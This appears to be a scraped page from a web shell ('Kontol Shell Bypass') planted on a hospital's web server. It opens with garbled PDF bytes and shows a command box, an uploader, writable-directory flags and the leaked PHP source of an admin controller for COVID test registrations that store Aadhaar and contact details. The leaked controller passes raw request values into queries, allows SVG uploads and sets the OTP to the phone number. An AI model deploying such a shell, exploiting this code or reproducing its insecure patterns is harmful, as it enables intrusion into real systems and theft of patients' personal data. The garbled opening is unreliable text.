%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/pdms/application/controllers/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/pdms/application/controllers/admin/Managecovidtest.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
/**
 * Description of VideoUpload
 *
 * @author : Sharda Tech Pvt. Ltd
 */
class Managecovidtest extends CI_Controller {

    //variable for storing error message
    private $error;
    //variable for storing success message
    private $success;

    function __construct() {
        parent::__construct();
        //load this to validate the inputs in upload form
    	$this->load->model(array('Events_Model'));
		if(! $this->session->userdata('adid'))
		redirect('admin/login');
    }

    //appends all error messages
    private function handle_error($err) {
        $this->error .= $err . "\r\n";
    }

    //appends all success messages
    private function handle_success($succ) {
        $this->success .= $succ . "\r\n";
    }

	public function index(){
		
		$data = array();
		$role_id = $this->session->userdata('adid')->role_id;
		$author_id = $this->session->userdata('adid')->id;
		$roleArray = array('8');
		
		$data['recorddetails'] = array();
		// Get All user Records
	     //$condArray = array('tbl_event_master.status'=>'1', 'tbl_event_master.is_deleted'=>'0');
		
		if($role_id>6){
			$condArray['author_id'] =$author_id;	
		}
		//print_r($role_id);die;
		if($_GET['status'])
		{
			$condArray['status'] = $_GET['status'];
		}
						
		if($_GET['from_date']!='' && $_GET['to_date']!='') {
			$betweenDate = array('from_date'=>$_GET['from_date'],'to_date'=>$_GET['to_date']);
			$data['recorddetails'] = $this->Events_Model->getAllRecords('tbl_user_registration', '*', $condArray, array('createdon'=>'DESC'), NULL, NUll, $betweenDate);
		} else {
			if($_GET['from_date']) {
				$condArray['createdon'] = $_GET['from_date'];
				$data['recorddetails'] = $this->Events_Model->getAllRecords('tbl_user_registration', '*', $condArray, array('createdon'=>'DESC'));
			}
			if($_GET['to_date']) {
				$condArray['createdon'] = $_GET['to_date'];
				$data['recorddetails'] = $this->Events_Model->getAllRecords('tbl_user_registration', '*', $condArray, array('createdon'=>'DESC'));
				print_r($condArray); die;
			} else {
				$data['recorddetails'] = $this->Events_Model->getAllRecords('tbl_user_registration', '*', $condArray, array('createdon'=>'DESC'));
			}
		
		}
		
		$this->load->view('admin/_parts/header',$data);
		$this->load->view('admin/managecovidtest/index',$data);
		$this->load->view('admin/_parts/footer');
		setHistory('Go to manage Covid Profile listing module');
	}
	
	/*
	* Function : addprofile
	*
	*
	*/
    public function addprofile($id='') 
	{
		$userArray = $this->session->userdata('adid');
		$author_id = $userArray->id;
		$role_id = $userArray->role_id;
		
		$data = array();	
		if($_POST){
			$this->form_validation->set_rules('account_type','Account Type','required');
			$this->form_validation->set_rules('full_name','Full Name','required');
			$this->form_validation->set_rules('contact_number','Contact Number','required');
			$this->form_validation->set_rules('aadhar_number','Aadhar Number','required');
			$this->form_validation->set_rules('email_id','Email Id','required');
			
			if($this->form_validation->run())
			{
				$account_type = $this->input->post('account_type');
				$full_name = $this->input->post('full_name');
				$dob = date('Y-m-d',strtotime($this->input->post('dob')));
				$old_photo_proof = $this->input->post('old_photo_proof');
				$contact_number = $this->input->post('contact_number');
				$aadhar_number = $this->input->post('aadhar_number');
				$email_id = $this->input->post('email_id');
				$address = $this->input->post('address');
				$gender = $this->input->post('gender');
				$onsite_collection = $this->input->post('onsite_collection');
				$company_name = $this->input->post('company_name');
				$status = $this->input->post('status');
				$photo_proof = $this->uploadDocuments();
				if($old_photo_proof<>'' && $photo_proof=='') { 
					$photo_proof = $old_photo_proof;
				}
				
				$data = array(
					'account_type'=>$account_type,
					'dob'=>$dob,
					'full_name'=>$full_name,
					'company_name'=>$company_name,
					'age'=>getAge($dob),
					'aadhar_number'=>$aadhar_number,
					'contact_number'=>$contact_number,
					'email_id'=>$email_id,
					'photo_proof'=>$photo_proof,
					'onsite_collection'=>$onsite_collection,
					'gender'=>$gender,
					'address'=>$address,
					'ip_address'=>get_client_ip(),
					'status'=>$status
				);
				//print_r($data); die;			
				if($this->input->post('id')){
					$id = $this->input->post('id');
					$this->Events_Model->updateinfo($tbl_name='tbl_user_registration',$data,'id',$id);
					setHistory('User Profile updated successfully');
				} else {
					// Save OTP Table
					$otpArray = array();
					$otpArray = array('mob'=>$contact_number, 'email_id'=>$email_id, 'otp'=>$contact_number,'verify_status'=>'0','createdon'=>date('Y-m-d H:i:s'));
					$userId = $this->Events_Model->saveinfo($tbl_name='sh_registrations_otp',$otpArray);
					
					// User Registration
					$data['vaccination_status'] = '1';
					$data['author_id'] = $author_id;
					$data['createdon'] = date('Y-m-d H:i:s');
					$data['user_id'] = $userId;
					$eventId = $this->Events_Model->saveinfo($tbl_name='tbl_user_registration',$data);
				}
				redirect('admin/managecovidtest');
				
			} else {
				$this->load->view('admin/_parts/header');
				$this->load->view('admin/managecovidtest/addprofile');
				$this->load->view('admin/_parts/footer');
			}	

		} else { 
		
		
		if($id>0){
			$data['sd'] = $sd = $this->Events_Model->getSingleRecord('tbl_user_registration',' * ', array('id'=>$id));
		}
	
        //load the error and success messages
        $data['errors'] = $this->error;
        $data['success'] = $this->success;
        //load the view along with data
        $this->load->view('admin/_parts/header',$data);
        $this->load->view('admin/managecovidtest/addprofile',$data);
        $this->load->view('admin/_parts/footer');
		setHistory('Go to Add Profile');
	  }		
		
	}	
	/*
	* Function : uploadDocuments
	* Description : Upload the documents 
	*/
	private function uploadDocuments()
    {
		$config['upload_path'] = './attachments/documents/';
        $config['allowed_types'] = 'gif|jpg|png|jpeg|JPG|PNG|JPEG|PDF|pdf|SVG|svg|avi|mp4|3gp|mpeg|mpg|mov|mp3|flv|wmv';
		
        $this->load->library('upload', $config);
        $this->upload->initialize($config);
        if (!$this->upload->do_upload('photo_proof')) {
            log_message('error', 'Image Upload Error: ' . $this->upload->display_errors());
        }
        $img = $this->upload->data();
        return $img['file_name'];
    }

	public function deleteprofile($uid)
	{
		$this->Events_Model->deleteRecord('tbl_user_registration','id',$uid);
		$this->session->set_flashdata('success', 'Profile data deleted');
		//setHistory('Profile data deleted');
		redirect('admin/managecovidtest');
	}
	/*
	* Function : viewprofile
	*
	*
	*/
	public function viewprofile($id='')
	{ 
		$data = array();
		$author_id = $this->session->userdata('adid')->id;
		if($_POST['save']=='Save')
		{
			$dataArray = array();
			$dataArray['admin_id'] = $author_id;
			$dataArray['author_id'] = $author_id;
			$dataArray['event_status'] = $_POST['status'];
			$dataArray['comment'] = $_POST['comment'];
			$dataArray['user_id'] = $id;
			$dataArray['createdon'] = date('Y-m-d H:i:s');
			$eventId = $this->Events_Model->saveinfo($tbl_name='tbl_profile_approval_transaction',$dataArray); 
			
			$evmArray = array();
			$evmArray = array('status'=>$_POST['status']);
			$this->Events_Model->updateinfo($tbl_name='tbl_user_registration',$evmArray,'id',$id);
		}
			
		$data['recordsArray'] = $this->Events_Model->getSingleRecord('tbl_user_registration',' * ', array('id'=>$id));
		
		// Get All Comments
		$data['commentsDetails'] = $this->Events_Model->getAllRecords('tbl_profile_approval_transaction', '*', array('user_id'=>$id));
		
		
		$this->load->view('admin/_parts/header',$data);
		$this->load->view('admin/managecovidtest/view_profile',$data);
		$this->load->view('admin/_parts/footer');
		setHistory('Go to profile view');
	}
}

Kontol Shell Bypass